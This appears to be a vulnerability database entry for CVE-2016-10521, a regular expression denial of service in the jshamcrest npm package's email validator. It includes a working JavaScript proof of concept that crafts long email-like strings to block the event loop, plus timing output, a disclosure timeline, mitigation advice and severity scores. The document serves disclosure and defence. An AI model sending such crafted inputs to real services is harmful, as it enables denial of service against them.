Advisory details:
github_osv / GHSA-xj62-87pg-vcv3
| Advisory ID | github_osv/GHSA-xj62-87pg-vcv3 |
| Aliases |
CVE-2016-10521
|
| Summary | Regular Expression Denial of Service in jshamcrest The `jshamcrest` package is affected by a regular expression denial of service vulnerability when certain types of user input are passed in to the emailAddress validator. ## Proof of concept ```js var js = require('jshamcrest') var emailAddress = new js.JsHamcrest.Matchers.emailAddress(); var genstr = function (len, chr) { var result = ""; for (i=0; i<=len; i++) { result = result + chr; } return result; } for (i=1;i<=10000000;i=i+1) { console.log("COUNT: " + i); var str = '66666666666666666666666666666@ffffffffffffffffffffffffffffffff.' + genstr(i, 'a') + '{' console.log("LENGTH: " + str.length); var start = process.hrtime(); emailAddress.matches(str) var end = process.hrtime(start); console.log(end); } ``` ### Results It takes about 116 characters to get a 1.6 second event loop block. ``` [ 1, 633084590 ] COUNT: 51 LENGTH: 116 ``` # Timeline - October 25, 2015 - Vulnerability Identified - October 25, 2015 - Maintainers notified (no response) ## Recommendation The `jshamcrest` package currently has no patched versions available. At this time, the best available mitigation is to use an alternative module that is actively maintained and provides similar functionality. There are [multiple modules fitting this criteria available on npm.](https://www.npmjs.com/search?q=validator). |
| Status | Published |
| Exploitability | 0.5 |
| Weighted Severity | 6.8 |
| Risk | 3.4 |
| Affected and Fixed Packages | Package Details |
| Introduced and Fixed Package Commit Patches | Package Commit Patches Details |
| System | Score | Found at |
|---|---|---|
| cvssv3.1 | 7.5 | https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2019/02/GHSA-xj62-87pg-vcv3/GHSA-xj62-87pg-vcv3.json |
| generic_textual | HIGH |
| Reference id | Reference type | URL |
|---|---|---|
| https://github.com/advisories/GHSA-xj62-87pg-vcv3 | ||
| https://www.npmjs.com/advisories/53 | ||
| CVE-2016-10521 | https://nvd.nist.gov/vuln/detail/CVE-2016-10521 |
No EPSS data available for this advisory.
| Patch URL | |
|---|---|
| There are no known patches. | |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
There are no SSVC decisions available.